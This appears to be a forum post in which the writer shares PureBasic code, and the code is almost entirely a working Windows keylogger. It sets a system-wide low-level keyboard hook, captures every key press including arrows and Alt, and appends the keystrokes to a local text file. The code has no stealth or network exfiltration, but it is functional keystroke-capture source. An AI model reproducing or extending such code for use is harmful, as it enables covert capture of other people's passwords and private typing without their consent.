Here's what my code looks like:
Code: Select all
Structure PKBDLLHOOKSTRUCT
vkCode.l
scanCode.l
flags.l
time.l
dwExtraInfo.l
EndStructure
message.MSG
#VK_ALT = 164
Global shiftDown = #False
OpenFile(0, "c:\test.txt")
Procedure writeToFile(s.s)
FileSeek(0, Lof(0))
WriteString(0,s)
EndProcedure
;############ CallBack function ###############
Procedure.l hookProc(nCode, wParam, lParam)
*p.PKBDLLHOOKSTRUCT = lParam
If wParam = #WM_KEYDOWN
Select *p\vkCode
Case #VK_LEFT : writeToFile("<Left>")
Case #VK_RIGHT : writeToFile("<Right>")
Case #VK_UP : writeToFile("<Up>")
Case #VK_DOWN : writeToFile("<Down>")
Default
writeToFile(LCase(Chr(*p\vkCode)))
EndSelect
ElseIf wParam = #WM_SYSKEYDOWN
Select *p\vkCode
Case #VK_ALT : writeToFile("<Alt>")
EndSelect
EndIf
ProcedureReturn CallNextHookEx_(#Null, nCode, wParam, lParam)
EndProcedure
hInstance = GetModuleHandle_(#Null)
keyboardHook = SetWindowsHookEx_(#WH_KEYBOARD_LL, @hookProc(), hInstance,0)
;########### Main MSG loop #############
While (GetMessage_(@message,#Null,0,0))
TranslateMessage_(@message)
DispatchMessage_(@message)
Wend
UnhookWindowsHookEx_(keyboardHook)
CloseFile(0)